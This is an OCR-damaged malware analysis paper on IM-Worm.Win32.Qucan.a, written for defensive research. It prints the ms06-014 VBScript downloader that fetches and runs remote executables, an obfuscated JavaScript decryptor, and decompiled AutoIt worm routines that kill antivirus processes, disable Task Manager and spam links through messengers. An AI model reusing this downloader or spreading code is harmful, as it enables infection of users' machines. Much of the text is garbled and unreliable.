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This document is a compendium of my research on miaious software and

provides an insight into how the real world exploiation is done. | have also

discussed how effective are the current security pducts in subverting the
attacks.
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Section 1: Introduction

1.10verview:

This paper attempts to document an approach on thewhackers make use of the
vulnerabilities to install malicious software oretlulnerable machine. A comprehensive
reverse code engineered analysis of the maliciofisvare (Win32.Qucan.a) and the
various protection schemes against the worm byowuarisecurity products are also
discussed.

| also describe an approach to setting up a flexidboratory environment using virtual
workstation software such as VMware, and demorestiidte process of reverse
engineering a worm using a range of system mongotools in conjunction with a

disassembler.

| hope this document will help the Malware researsh Intrusion Analysts and other
Security professionals to conduct a more viable@mdprehensive research.

1.2Background Information:

The so-called IM-Worm.Win32.Qucan.a. -- initiallyisdovered by MicroWorld
Technologies and subsequently dubbed by Trend Misrtt?VORM_SOHANAD.A -- is
spreading in MSN Messenger, AOL Messenger and Y ahessenger.

The IM-Worm.Win32.Qucan.a (Kaspersky) was firstared in late September and most
of the popular antivirus scanners have signatwethfs worm. A detailed analyis on the
detection capabilities of various anti-virus scasrege also described later on.



Section 2: Methodology

2.1 Controlled environment

To facilitate an efficient reliable research prageseverse engineers of malicious
programs should have access to controlled labgraiovironment that is isolated from
the Local Area Network. In my research | was usitmgware fittp://www.vmware.com
This software suite allows users to set up multipietual computers and to use one or
more of these virtual machines simultaneously. Esrrtual machine instance can
execute its own guest operating system, sucWiaslows Linux, andBSD variants In
simple terms, VMware Workstation allows one physioggachine to run numerous
operating systems simultaneously.

When setting up our laboratory environment, | ilkstaVMware on a AMD TURION
1600 MHZ laptop computer running Windows XP Proi@sal. | have 4 machines on my
network, the primary Windows XP virtual machine,nffows 2000 professional, Fedora
Core 4 and a centos machine with snort installed.

| created a private network using the NAT in Vmwtreough which | was able to share
my internet without affecting other systems onltié\.

2.2 Static and Dynamic Analysis

There are many ways to study a program's behaWah static analysis, we study a
program without actually executing it. Tools of tinede are disassemblers, decompilers,
source code analyzers, and even such basic tiigestrings. Static analysis has the
advantage that it can reveal how a program wouliae under unusual conditions,
because we can examine parts of a program thataflgrao not execute. In real life,
static analysis gives an approximate picture at. bess impossible to fully predict the
behavior of all but the smallest programs. | wilistrate static analysis with a real life
example lateron.

With dynamic analysis, we study a program as itcates. Here, tools of the trade are
debuggers, function call tracers, registry monitdile system monitors, and network
sniffers. The advantage of dynamic analysis is thean be fast and accurate. It is not
possible to predict the behavior of a non-triviabgram and it is also not possible to
make a non-trivial program traverse all paths tghoits code.



2.3Preparation and Verification

Type O.f Process Purpose of Action References
Analysis
Static VirusTotal is a free file Verify if the worm | http://www.virus

analysis— | analysis service that works |is detected by any gftotal.com/
Virus scan |using several antivirus the AV scanners
engines.
Static Verify the installation of the | To display Windows Strings
analysis— | stringscommand. contiguous sets of |tool available at
Strings ASCII characters | www.sysinternal
research included in a file. | |s.com
used the free, open
source version of
Windowsstrings
Dynamic | Run file integrity checker anfiTo verify that http://www.winal
analysis — | reconcile any changes. system is in a knowpysis.com
File Winalysis helps to make trusted state before
integrity compressed snapshot of the malware makes
checking | computer configurations. any changes.
Dynamic | Verify the installation of the | This indicates which www.sysinternal
analysis— | Filemon program processes are s.com
File opening, reading,
monitoring and writing files.
Dynamic | Verify the installation of the | To identify the www.sysinternal
analysis— | Process Explorer program | resources used by dl§.com
Process running processes,
monitoring including DLLs and

registry keys.
Process Explorer
provides a wealth of
useful information
regarding how
malware is
impacting a victim
machine.




Type of

: Process Purpose of Action References
Analysis
Dynamic | Check which ports are To see which TCP | www.foundstone
analysis— | running locally, using Fport | and UDP ports are |.comand
Network or TCPView listening on the www.sysinternal
monitoring trusted system, to |s.com
act as a comparisor
point after the
malware is installed
Dynamic | Conduct a port scan from | To verify the results| www.insecure.or,
analysis— | across the LAN, using Nmajof the local port g
Network or Foundstone Inc’s check by comparing http://www.foun
monitoring | Superscan. them to aremote | dstone.com/
portscan.
Dynamic | Conduct a vulnerability scan| To look for WWW.Nessus.org
analysis— | from across the LAN, using | backdoor listeners
Network Nessus recognized by
monitoring Nessus.
Dynamic | Verify the installation of a | To gather all traffic | www.ethereal.co
analysis— | sniffer on a separate systen going to and from | m/download.htm
Network on the LAN. the target system, ||,
monitoring using a sniffer www.tcpdump.or
loaded on a system| g, and
other than the victimwww.snort.org
machine. If the
malware tries to
send something
across the network,|l
want to gather all
packets to see what
is happening
Dynamic | Verify the installation of the | To record all TCP | www.sysinternal
analysis— | TDImon tool (Windows) and UDP activity on| s.com
Network a Windows maching.
monitoring
Dynamic | Verify the installation of a | To determine if the | www.ntsecurity.
analysis— | promiscuous mode checker | network interface is| nu/toolbox/promi
Network Promiscdetect.ex@Vindows) | running in scdetecly
monitoring promiscuous mode,

gathering packets
destined for all
systems on theAN.




Type of

: Process Purpose of Action References
Analysis
Dynamic | Verify the installation of To display areal- | www.sysinternal
Analysis Regmon time indication of all
registry registry activity,
monitoring including creating,
reading, and writing
registry keys.
Code Disassembly tools | Also, to perform 1. Disassem
Analysis Debugging tools detailed code bly I used
Reverse compiling | analysis and to IDAPro
tools analyze the control from
flow of the program www.dat
arescue.c
om/

. For
debuggin
g | used
OllyDBG
from
www.olly
dbg.de/

. For
reverse
compiling
| used
Exe2AU
T from
www.aut

om




Section 3: Method of Infection

3.1 Vulnerability Overview

The anti-virus vendors call these types of infectiectors as ‘Downloaders’, in the sense
Downloaders are designed to grab files from a remabsite and execute the files that
have been downloaded. The worm IM-Worm.Win32.Quzaxe files are downloaded
from remote websites exploiting a publicly annouhaailnerability (Microsoft Data
Access Components (MDAC) Function vulnerability)mternet Explorer.

According to Microsoft they describe the vulnerabias

“A remote code execution vulnerability exists ie tRDS.Dataspace ActiveX control that
is provided as part of the ActiveX Data Objects @and that is distributed in MDAC.
An attacker who successfully exploited this vulihdity could take complete control of
an affected system.”

Using the ms06-014 exploit two files host.exe aasth.exe are downloaded from the
remote website to the system. More detailed armbfsihe exploit and the payload are
given the sections later on.
3.2 Exploit Unleashed — ms06-014 exploit

dl =

et df = document. createblemernk| )
df. setAriribute B

sLr=

et x = df.Create®jeckizstr,"")
al=

al=

ag=

ad=

gtrl=al&az&asLad

stri=strl

zet 3 = df.createobjeck{zstr5,""}
.kype = 1

Stre=

x.pen stro, dl, False

®. Sernd

frnamel=

zet F = df.createobjeck( PR ]
set tmp = F.GetSpecialFolder(2)
friamel= F.8nildPath{tnp, fnamel)
L. opern

J.write x. responseBody
d.savetofile fnanel 2

d.close

set 0 = df.createobjeck| L
0. Shellbxecnte fnamel , "" """, L0
=facript=



The exploit is written in vbscript and this expl@tused to download the worm
files,hostl.exe and host2.exe from the remote gdeants of this worm are also
reported by different anti-virus vendors.

Then something unusual i noticed about this pagesisspicious url encoded javascript

<script langquage=javascript-docunent.write{unescape

52256R%015 To561% 735635 725095 705 745225 385 005 705 0F5 035 745 095 0F 5 085 205 735 0F 50D 5 655 005 755 0F5035. 285 735295 B Te
5015 T2 205 T35 305 3D T5 6l 055 T 6 35015 T0S 655 285 T35 2B T34 755025 T3S FA5 1245 205 305 204 T35 2B 6T 5055 6B 6 75 745685 2D
5315295295 385205 765615 725205 745305 2752 75 305605 015 725285 095 305 305 385095 305 735 315 2E56L 56 050856 75 745085 75509
JB% RS 295 T4 2B D 535 TS T2 095 6 6 T 2ES 605 T25 0TS eD s 435605 615 T25 4345 6F5 045605 285 T34 315 2F56 350856 15 725 435 T
045605415 45 285095 295 205 T35 2B5 T3 70505 T35 T TR 285 135 2E5 605 055 65675 745685 205 315 205 315 295 295 385 6 45 0F 5 603
STR5ODE 6050, 745 2 T 125095 745655 205 7O eE5 655 735035615 705054 285 T45 295 295 RS TD4 305 274 735035 T25 695 705 74538
N

gomefunc{

dlvgzvaivgrrdrirs2 7ok 32 75F 382330530752 748003270352 748 s 2 FOF 998785 38395534 9042828k 3395 Th5 43 7Th 34 ThA9g7
S 452744527505 2 75 E e thvs 2 T0d

Eo - L

=

This script is calling somefunc() which looks to tike an encrypted value.
The next step obviously is to decode the documeitéy part of the script, | used an

online url decoding facility from redkernel-softvearcom which revealed the following
source code.

=3Ccript langquage= =
function someFuncis)!

var sl=unescape(s.substr{d,s. lemyth-1)) -
var t=

for{i=0;iwail. lenyth i++)
t+=8tring. fromCharCode(z]l. charCodeAr(i) -z. substri(z. length-1,1)) ;

document.write{unescape(th}) /
'

=< fscript>

Most of the code hiding techniques are composado@farts:
1. An encrypted string
2. A decryptor,

which un-mangles and finally evaluates the resglpiece of code. Here the encrypted
parameter seems to be
5275Eue thrvs 2 Tkt TR s 27985 2 Tddvgev] Loxcue thrvs 274452 T4te s 2 TP 27445 e 527901 16

dcfdtkvgleqolodlvgevaitaqwelrjr32 7o Uk £5270F 3825305 347527484052 TAF 35 2 748t 2 70F 998785 38R 955 3496 428e
Fha595Thidy T hi4Tha9878 452 7445275052 T5E e thrvs 27002



JavaScript offers functions that take a string evaluate it as a piece of code. This
process is repeated several times (so the "dedypteng may actually contain another
string to be decrypted). The best we can do atpiiist is to place hooks on these
commonly used functions and to redirect them tmgawindow instead of execution,
where the data can be conveniently interpreted.

It is clear that the first line (document.writefyjust define the function somefunc()
which is most probably the decryptor. Our goalbihibok document.write and instead of
execution the output should be redirected to samgenvindow so that we can analyze the
result. (A quick alternative would be to replaceulment.write with alert and observe the
output or the output can also be directed to soateigl window and observed).

The decrypted part pointed to a url which links#émious advertisements
http://4.adbrite.com/mb/text_group.php?sid=160885&1&dk=776569676874206c6f73
735f32355f325f776562

So | completed the initial analysis of the exphoid the vulnerability used to deliver the
payload. With the latest increase in the numbeéniairnet explorer based vulnerabilities,
it is highly probable in the future, we see morfenexl and powerful exploits to deliver
malicious files to the user’'s computer.



Section 4: Worm Architecture

4.1 Worm Overview

As i mentioned earlier, the exploit downloads 2diviz.host.exe and host2.exe to the
remote machine and executes it. In this sectioitl b& analyzing more on the malicious
payload and its impact on the target system.

4.2 Analysing Binary

4.2.1 Analysis of host2.exe

The first and foremost step in static analysis ist@ng analysis on the suspected
malware. | used the string utility from sysintes&b perform this test. The initial few
lines of code indicated that the file is compressét with upx packer.

UPX@:064081000 UPKA seqment para public 'CODE’ use3d?

UPX0O:00401060 assume cs:UPXA

UPX8: 804810080 ;org 481088h

UPX@:@aa4a1008 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, ¢
UPX8: 804810080 dd 184B%h dup(?)

UPX0:804422E4 duord_44Z2EL dd 2347h dup{?) ; CODE XREF: UPK1:80475774)]
UPXO:004422EL UPKB ends

HPYA-A0hNh?PEh

| went ahead and downloaded the upx utility to whpthe exe file. The file can be
uncompressed by using the command

upx —d filename.exe

Again | performed a string analysis on the unpadkest2.exe, now | am getting some
meaning out of the executable file. | loaded up thacked file in the IDAPro
disassembler.

Jtext: 00403212 Iea  ecx, [ebp-34h]

Ltext: 00403215 call  ds: ubaFreelbj

.text:po4a321B mov edi, ds:  uvbalarDup

.text: 00483221 Iea edx, [ebp-54h]

.text:00483224 Lea ecx, [ebp-bbh]

Jtext: 00403227 mov  dword ptr [ebp-4Ch], offset aTaskkilllmBkav ; "taskkill /im bkav?006.exe"
Ltext:0040322E Moy dword ptr [ebp-5uh], 8

| could make out that the executable is programtoed!l the anti-virus processes and
firewalls like zonealarm. It uses the windows comohaaskkill’ to kill the processes.
But ‘taskill’ is a command which was introducedrfraVindows XP onwards(Windows
2000 support tools has kill command utility whiobed the same function). So customers
running XP and 2003 would be more impacted thamplee@nning Windows 2000. Here
is a complete list of all the processes that weltérminated by this piece of application.
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bkav2006.exe, Anti-Trojan.exe, ANTS.exe, apvxexanATCON.exe,
ATUPDATER.exe, ATWATCH.exe, AUPDATE.exe, AUTODEXEN
AUTOTRACE.exe, AUTOUPDATE.exe, Avconsol.exe, A¥PAYP32.exe,
avpcc.exe, avpm.exe, AVPUPD.exe, Avsynmgr.eXgUMRD32.exe,
AVXQUAR.exe, bdmcon.exe, bdoesrv.exe, bds<ak€rdian.exe,
drwebupw.exe, GUARD.exe, iamapp.exe, iamseni@x®AD95.exe,
ICLOADNT.exe, ICMON.exe, ICSSUPPNT.exe, ICSURR8S
ICSUPPNT.exe, LUCOMSERVER.exe, MCAGENT.exe, @ueupxe,
MINILOG.exe, MOOLIVE.exe, NAVAPW32.exe, NMAIN.exe,
NPROTECT.exe, NSCHED32.exe, NUPGRADE.exe, regeit.e
regedt32.exe, RuLaunch.exe, Vshwin32.exe, W& aratutor.exe,
zonealarm.exe

Moving deeper down | noticed it making some registrodifications, like disabling the
task manager, registry and changing the defaukt pagnhternet explorer.

text:00402B58 ; -Cext:@B4B3E1C)0

text:00402B58 unicode 8, {Software\Microsoft\Windows\CurrentUersion\Pol
text:0B402B58 unicode 8, {licies\Systen>,®

text:004B2BGC unicode 8, <(>,0

text 00402600 aDisableregistr: ; DATA XREF: .text:00483C4%L0
text:@B402BD0 unicode B, {DisableRegistryTools>,B

AL Annea

Here is the entire list of modifications made bg grogram in the registry .

HKEY_CURRENT_USER\Software\Policies\Microsoft\Imet Explorer\Control Panel,
Homepage
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curt@ersion\Policies\Syster
DisableRegistryTools
HKEY_CURRENT_USER\Software\Microsoft\Internet Exo\Main

Start Page
HKEY_CURRENT_USER\Software\Yahoo\pager\View\YMSGRzh
content url
HKEY_CURRENT_USER\Software\Yahoo\pager\View\YMSGRwinchcast
DisableTaskMgr

—

The malware also deletes values from the regisitir s auto startup applications.
HKLM\SOFTWARE\WMiicrosoft\Windows\CurrentVersion\RwiMiware Tools
Deleted Value

11



4.2.2 Analysis of host.exe

Like the previous executable | started with a gsimnalysis with the ‘Strings’ from
sysinternals. The initial strings analysis showesl fgresence of upx packer. Again | went
ahead and un-compressed the file using the upkywitd performed the strings analysis.
Now the characters in the executable are makingesérthen loaded up the executable in
IDAPro disassembler. A deeper analysis of the gtrirevealed that this executable is
using various GUI and registry related functiohe laltering and creating new values in
the registry. | could make out that this prograncasled in some scripting language
which could interact with the windows API. The falling lines from the strings ultility
confirmed my doubts.

<description-Autolt FFfdescriptions-
<dependency=
<dependentizzenbl -
“<assemblyIdentity

Lype=
nane=
wersion=
langquage=
processorArchitecture=
publicKeyToken=
=
< fdependentizsenbly-
= fdependency=

Now | could confirm that the executable was progreed in “Auto It”. So what exactly
is Autolt and what are the capabilities of thiggsing language?

“Autolt v3 is a freeware BASIC-like scripting langge designed for automating the
Windows GUI and general scripting. It uses a coration of simulated keystrokes,
mouse movement and window/control manipulationroheo to automate tasks in a way
not possible or reliable with other languages (¥8Script and SendKeys). Autolt is
also very small, self-contained and will run on 98, ME, NT4, 2000, XP, 2003 out of
the box with no annoying "runtimes" required! Ycan even make compiled executable
scripts that can run without Autolt being installed

Since the strings analysis did not exactly provitke a detailed insight how the worm
works, my next step was to try and decompile themw@\utolt comes with a decompiler
called EXE2AUT, using which you can convert exebiga back to aut3 script files. But
to convert you have to provide a passphrase withvbith the EXE2AUT will not allow
decompilation. My next hurdle was with the execigakas protected with a passphrase.
The password is not directly stored in the exedatabis stored as a 10 byte password
hash. With some help from the CW2K tutorials | vahte to crack open the executable to
reveal the entire source code. | could make out tha worm was written on 30
September from the source code headers.

12



4.3 The Program code — Exposed
In this section | will explain the source code, amthat exactly is the script programmed
to do.

1.

al If Hot FileExists(@indow=Dir & } Then

2z T Inettet | W , EFindowsDir & , 0, 1)
23 Sleep( 10000}

24 EndTf

25

26 If Hot FileExists(@WindowsDir & ¥ Then

27 T Inettet ( opylni il , @indowsDir & ;0 1)
26 Sleep(10000)

29 EndTf

Ao

Initially the worm tries to download host.exe andst2.exe and copies them to the
windows directory and renames them as svhost32uedevhost.exe .

2. The next thing it does is to kill the antivinocesses.

32 If ProcessExistsi } Then
33 ProcessClosel )
34 EndT £

Similarly it closes IEProt.exe, bdss.exe and vssggl

3.

Stitle = WanGetTitle( P
Scheck = MinExists (§title)

If Scheck = 1 Then

BlockInput (1)
Mndctivate(§title)

finSetState { §title , ', GSW MAXIMIZE)
Spos = MonsefetPos()

HMouseClick( , 200, 300, 1, 0)

Houselfove ( Spos[0], Spos[1] , 0)

The above code checks for the specified text inltivernet explorer title bar. If it is
present, it automatically perform a left mouseiclat the specified location which my
best guess is to some ad-link.

13



4.
This malware is also designed to disable variosis taanager and registry functions.

; ; , Swehsite)
. , , Swehzite)
: : ; EfindoweDir &

{
{
{
{ ; ; ; Swehglte)
{
{
{
{ ; ; ; WiLndowEDlr & J

It also modifies the Yahoo messenger launchcast BYWZZ urls and links to the
malicious website. There are good chances thaé thnedicious websites when opened in
Yahoo messenger plugin window may result in lossaisitive cookie or credential
information.

The worm then creates auto startup entries indfistry as svhost32.exe and svhost.exe

5.
Now let us see what are the applications targateddadnat is the impact..
Initially it checks for

WinGetTitle("My Computer", ™)

So whenever any of these windows are active itake action like send keystrokes

ClipPut($website)
Blockinput (1)

The clipput() function copies the link to the clgayd and it blocks the keyboard input by
the user.

6. Yahoo Messenger
Next it targets Yahoo messenger,

WinGetTitle("Yahoo! Messenger”, ")

From the list of malicious websites it sends onk tb the user with any of the messages

14



& Swehsite &

& Swebsite &
¢ Swebgite &
£ Swebsite? &
&
& Swehsite &
& Swebgite? &
L Swehsite? &
& Swebsite &
& Swehsite &
& Swehsite &
& Swebsite &

Here is the Yahoo messenger propagation code.

113 [ If Skiemtral = 1 Then

120 Smgaunhien = Rardomi( 0, 12, 1)
121 ClipPut{Stin[$ngaunhien] )
122 BlockInput (1)

123 WErdctivate($tieudel)

124 Send{ 3|

125 Send( ¥

126 Send( {EHTER} {EHTER} " }
127 Send( ¥

125 Sered{" {DOTH" }

129 Sersd{" { SHIFTDOWH} {EHD'} { SHIFTUP} " }
130 Sersd{" {FHTER} "}

131 Send( ¥

132 Send( ¥

133 - BlockInput (0

The above code will add a custom status messagghwwbints to any of the 13 malicious
links and then it selects all the users and seadirtk to all the users in the messenger
list.

7. AOL Instant Messenger
It has a propagation mechanism for AOL Instant meger also

137 Sngaunhien = Randomi (0,12, 1)
138 ClipPutiStin[Sngaunhien] )
139 BlockInput (1)

140 arictivate(Stieude?)

141 Sersd(" fHOME "}

14z Sersd(" {DOTHL" Y

143 Send(" ~{ SHIFTDOWH} { PGDH)} { SHIFTUP}" }
144 Send(" {EHTER]" }

145 Serd| {EHTER}" }

146 Send(" 1{F41"}

147 Send(" 1{F41"}

15



8. Windows Live Messenger (Code Trimmed)

152 Snigaunhien = Randomi 0, 12, 1)
153 ClipPut{Stin[Sngaunhien] k
154 BlockInput (1)

155 AnrActivate(Stieude3d)

1l5e Serd(" [OLT}"}

157 Sernxd( )

158 Send{' [ENTER}")

159 Send{' [SPACE}")

160 Send{ [DOTH")

161 Send{' [SPACE}")

162 Send{ [DOTH")

163 Send{' [SPACE}")

9. Windows Messenger (Code Trimmed)

133 ClipPuti{Stin[Sngaunhien] )
189 BlockInput (1)

190 MinActivate{$tieuded)
191 Send{" {ALT}"}

1582 Sernd{ ¥

193 Send{" {ENTER}" }

194 Send{" {DOVH}"}

195 Send{" {DOVH}"}

1596 Serpd{" {DOTE" )

197 Serpd{" {DOTE" )

1595 Serd{" {EHNTEE}" )

15939 Serndy {EHTER.}" )
Z00 Serd{" 1{F4}"}

Z01 Serd{" {ALT}"}

Z0z2 Serndy ¥

Z03 Serd{" {EHNTEE}" )

4.4 Dynamic Analysis
Dynamic analysis of the malware by running it ie iWWindows XP virtual machine
confirmed my findings. The snapshots below showstlalware in action.

Registry monitor



Reqgistry Monitor - Sysinternals: wwwsy
File Edit Options

Help

=101 x|

H=

XRBE T

< 20 i

P

(=]

CESS

| Request | Path

CSRSS.EXE: 700
tazkkil exe: 4436
tazkkill exe: 4484

Clozekey  HELM\System\CurnentControlSet\ContralhMIz\CodeFagehELI D CCodeR ange
Quentialue HELMYSoftwarehMicrosoft\AudinCompressiontd anagertDriverCache mzacm. mzac
Quent/alue HELMAWSOFT'WARE \MicrozoftwWwEBEMACIMOM\Log File tax Size

tazkkil exe: 4516
tazkkill exe: 4476

2176
tazkkill exe: 4432
svhost. exe: 4240
tazkkill. exe: 4460
tazkkill exe: 4444

Openkey  HELMA\SoftwarehMicrosoft\Wwindows NTACurrenferzsionilmage File Execution Opl
Cuenalue HELMWSOFTWARE \Wicrozoft\WEEMM\CIMOMY\Logging Director e
Seffalue  HECUASoftwarehy' ahoopagerstiewsy'MS :antent il

Quentdalue HELMYSYSTEMCurrentContralS et Control\S ezzion Managert CriticalS ectionTime
Openkey  HECUASoftware\Policies\Microzofthwindows\5 afer\Codel dentifiers

Quenkey  HELMASOFTWwWARE \Microzofthwindows NTSCurentyersionhDrivers 32

Clozekey  HELMA\Software\Microsoft\AudioCompressiont anagert\DriverCache

| o

Al MMM ILII?

Process Explorer

&% Process Explorer - Sysinternals: www.sysis =10} =]
Fil= ©Options Miew Process Find Users Help
Process PID | CPU | Description Company Mame -
=5
T taskkill exe 2504 Kill Process Microsaft Corporation
= taskkill. exe 2512 Kill Process Microsaft Corporation
P taskkill exe 536 Kill Process Microsaft Corporation
P taskkill axe 2532 Kill Process Microzaft Corporation
P taskkill exe 2596 Kill Process Microzaft Corporation
P taskkill exe 2600 Kill Process Microzaft Corporation
= taskkill. exe 2602 Kill Process Microsaft Corporation
P taskkill exe 2624 Kill Process Microsaft Corporation
P taskkill axe 2648 Kill Process Microzaft Corporation
P taskkill exe 2656 Kill Process Microzaft Corporation
P taskkill exe 2672 Kill Process Microzaft Corporation
= taskkill. exe 2680 Kill Process Microsaft Corporation
P taskkill exe 2704 254 Kill Process Microsaft Corporation -
P taskkill axe 2204 Kill Process Microzaft Corporation
P taskkill exe 2708 Kill Process Microzaft Corporation
) taskkill. exe 1612 Kill Process Microzaft Corporation
= taskkill. exe 2732 Kill Process Microsaft Corporation
P taskkill exe 2764 Kill Process Microzaft Corporation
P taskkill axe 272 Kill Process Microzaft Corporation
P taskkill exe 2776 Kill Process Microzaft Corporation
) taskkill. exe 2784 Kill Process Microzaft Corporation
= taskkill. exe 2788 1.47  Kill Process Microsaft Corporation
P taskkill exe 2796 Kill Process Microzaft Corporation -
CPU Usage: 100,00%: ECommit Charge: 85.21% éPrncesses: g2 o

Yahoo Messenger
A message window (like the one below) automaticafipears at frequent interval of
times containing the download link.
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Corversakion  EdiE - Miew o Actions  Help

] % . s *EI i3 @;_‘_. = A 'C:_{

Wb amm Garnes Send File Photos: - Conferance
) g g8n

i m appears to be offline and will receive vour messages after - e
signing im, Yau can alsa send a message to by mobils device,

&" Send an SMS Messaqe [Cl+T)

wif is this 7 wanna give me a shit 7 httpeiinsl
school.org/Pid=news &9

C'_"? o_--'j —-E} ik 3 Irironment E3

4 5The Evolution

| am seeing more stealthier and sophisticated nariaf this worm in the wild. These
variants are capable of downloading the worm upfille® from the internet and
executing it. This is done by downloading an addisl payload at the time of infection
which downloads MSINET.OCX from the malicious sated registers it using

regsvr32 MSINET.OCX

text:004621CH lea  edx, [ebp-4Ch]

text:004621CH lea  ecx, [ebp-3Ch]

text:084621CE mv  dword ptr [ebp-44h], offset aRegsurd2iisinet ; “reqsurd2 HSINET.OCK"
text: 08462105 mov  dvord ptr [ebp-4Ch], 8

“The Internet Transfer ActiveX Control (MSINET.OCXJovides you with access to the
Internet and the World Wide Web using the two noashmon protocols: Hypertext
Transfer Protocol (HTTP) and File Transfer Protd&alP). When you use the internet
transfer control with HTTP, you can retrieve HTMaaliments from the Internet or an
intranet. Using the internet transfer control w&hP, you can log on to FTP servers and
download or upload files; the control supports mahghe most common FTP commands
such as GET, DIR, DELETE and CD.”
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Ltext:08461C7 L aHttpGiftshop v:
dext- 00848107 Y unicode B, <http://qiftoemgiily/update._ txt>,0

The worm is programmed to check the remote upaéaféd , if any update exists it
downloads the latest worm executable.
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Section 5: Defensive Measures

5.1 Trojan Variants

1. Trend-micro has released signatures for arowatiants of this worm
1. WORM _SOHANAD.A
2. WORM SOHANAD.B
3. WORM_ SOHANAD.C
4. WORM_SOHANAD.D
5. WORM SOHANAD.E
This worm arrives on an affected system via popuistant messaging applications.

2. Mcafee classifies this worm ¥¢32/YahLover.worm

This worm spreads by using Yahoo messenger. Itssentl download links to all the
members in the Yahoo buddy list. Once the linklisked it uses VB script to download
and execute the worm on victim's machine. The VBpsas proactively detected as

VBS/Psyme

5.2 Antivirus Signatures

| did an efficiency check on the antivirus signatiusing virustotal.com.

Initially | scanned both the files host.exe andtB@sxe using the virustotal service

The screenshot tells clearly tells the detectide.ra

1. Only 50% of the engines were able to detectwbien when | for scanned host.exe

2. Only 65.3 % of the engines were able to ddtextvorm when | scanned for host2.exe
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1 HOST.EXE - packed with UPX

Complete scanning result of "host.exe”, received in “irusTotal at 10.10.2006,

17:32:33 (CET).

STATUS: FIMISHED

Antivirus Yersion Update Result

Antivir 7.2.0.25 10.10.2008 [Worm/autolt,B

Authentium 4.93.8 10.09.2006 i f 1

Avast 4.7.892.0 10.10.2006

AN 386 10.10.2006 |no virus found

BitDefender 7.2 10.10.2006 [Worm.AutolT. Termex. o
CAT-QuickHeal 3.00 10.10.2006 |TrojanDownloader.sgent.asn
Clamay devel-20060426 10,10.2006 |Worm.Qucan.s

Drivveh 4,33 10.10.2006 |no v found
eTrust-InoculatelT 23.73.18 10.10.2006

eTrust-wvet 30.3.3125 10.10.2006

Ewido 4.0 10.10.2006 |no virds found

Fortinet 2.82.0.0 10.10.2006 [W32/Qucan.Alworm.im
F-Frot 3.16f 10.10.2008 |n d

F-Prot4 4.2.1.29 10.10.2006 |no virds found

Ikarus 0.2.65.0 10.10.2006 [IM-Worm Win32.Qucan.a
Kaspersky 4.0.2.24 10,10.2006 [IM-Worm wWin32.Qucan.a
Moafes 4269 10.09.2006 (W22, ahlover worm
Microsoft 1.1603 10,10.2006 |no virus found

NOD3IEZw2 1.1796 10.10.2006 |Win32/autoit, W

Marman 5.90.23 10,10.2006 [no virus found

Panda 9.0.0.4 10.10.,2006 W32/ /Qucan.a. worm
Sophos 4.10.0 10.05.2006 |no wvirds found

TheHacker 6.0.1.094 10.08.2006 |Trojan/Downloader.Autolt.d
LIMA, 1.832 10.02.2006 |TrojanDownloader Win32 Autolt 420
WBASZ 3.11.1 10.10.2006 |[IM-\Worm Win32.Qucan.a
VirlsBuster 4.3.7:9 10.10.2006 [no virus found

2. HOST2.EXE — packed with UPX

Complete scanning result of "host2.exe-", received in VirusTotal at 10.10.20086,

17:21:01 (CET).

STATUS: FINISHED

Antivirus Yersion Update Result

Antivir 7.2.0.25 10.10.2006 |TR/DIdr.Qucan.s
Authentium 4.03.8 10.09.2006 |r i i

Awast 4.7.892.0 10.10.2006 |n 1

AWVG 386 10.10.2006 [MWormME.ABF
BitDefender 7.2 10.10.2006 |Win32 Worm IM.Sohanat.a
CAT-QuickHeal .00 10.10,2006 |I-Worm.Qucan.a

Clamay devel-20060426 10.10.2006 |Trojan.Killav-75

Driveb 4,33 10.10.2006 |modification of BackDoor.Generic, 1024
eTrust-InoculatelT 23.73.18 10.10.2006 |no v f
eTrust-vet 30.3.3125 10.10.2006

Ewidno 4.0 10.10.2006 [Worm.Qucan.a

Fortinet 2.82.0.0 10,10,2006 [W32/Qucan.Alworm.im
F-Prot 3.16f 10.10.2006 |r i ]

F-Prot4 4.2.1.29 10.10.2006 |no wirus found

Ikarus 0.2.65.0 10.10.,2006 |[IM-“ormWin32.Qucan.a
Kaspersky 4.0.2.24 10.10.,2006 |[IM-#orm\Win32 . Qucan.a
Mcafes 4369 10.09.2006 W32 ahlover.worm
Microsoft 1.16032 10,10.2006 |no Jund

NOD32v2 1.1796 10.10.2006 [Win32/Killay . MBD
Norman 5.80.02 10.10.2006 (W32 Qucan.s

Panda 9.0.0.4 10.10,2006 [W32/Qucan.b, warm
Sophos 4,10.0 10.05.,2006 |(no virus found
TheHacker 6.0.1.094 10.08.2006 [W32/Qucan.a

UMNA, 1.83 10.09.2006 [Worm \Win32 . Qucan.a
WBAZZ 3.11.1 10.10.,2006 |[IM-Worm\Win32.Qucan.a
VirusBuster 4.3.7:9 10.10.2006 |no wirus found
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Since both the files are packed using upx packephcked the files using the upx utility
and did a scan on both the files.

3. HOST_UNPACKED.EXE

Complete scanning result of "host_unpacked.exe-", received in MirusTotal at STATUS' FINISHED
10.10.2006, 17:32:50 (CET).

Antivirus Yersion Update Result

Antivir 7.2.0.25 10.10.2006  |Worm/Sohanat.s
Authentium 4.93.8 10.09.2006  |nc

Awast 4.7.892.0 10.10.2006 i

AWG 386 10.10.2006 i

BitDefender 72 10.10.2006  [Win32.Woaorm M Sohanat.A
CAT-QuickHeal 8.00 10.10.2006 d

Clamay devel-20060426 10.10.2006

Driveb 4,33 10.10.2006

eTrust-InoculatelT 23.73.18 10.10.2006

eTrust-vet 30.3.3125 10.10.2006

Ewido 4.0 10.10.2006 |

Fortinet 2.82.0.0 10.10.2006 |suspicious

F-Prot 3.16f 10.10.2006

F-Prot4 4.2.1.29 10.10.2006

Ikarus 0.2.65.0 10.10.2006  |no d
Kaspersky 4.0.2.24 10.10.2006  |IM-\Worm \Win32.Qucan.a
Mcafas 42369 10.09.2006 |n d

Microsoft 1.1603 10.10.2006

NOD3IZ2v2 1.1796 10.10.2006

Morman 5.90.23 10.10.2006

Panda 9.0.0.4 10.10.2006

TheHacker 6.0.1.094 10.08.2006 d

UIMA 1.83 10.09.2006 |Worm.\Win32 Sohanad.b
WBAIZ 3111 10.10.2006  |no d
VirusBuster 4.3.7:9 10.10.2006 |

3. HOST2_UNPACKED.EXE

Complete scanning result of "host2_unpacked.exe-", received in VirusTotal at

10.10.2006, 17:21:18 (CET).

STATUS: FINISHED

Antivirus Yersion Update Result

Antivir F2.025 10,10.,2006 |[HEUR/Malware
Authentium 4.93.8 10.09.2006 |(no wirus found

Awast 4.7.892.0 10.10.2006 |r i

AG 386 10.10.2006 |[Worm VB ABF
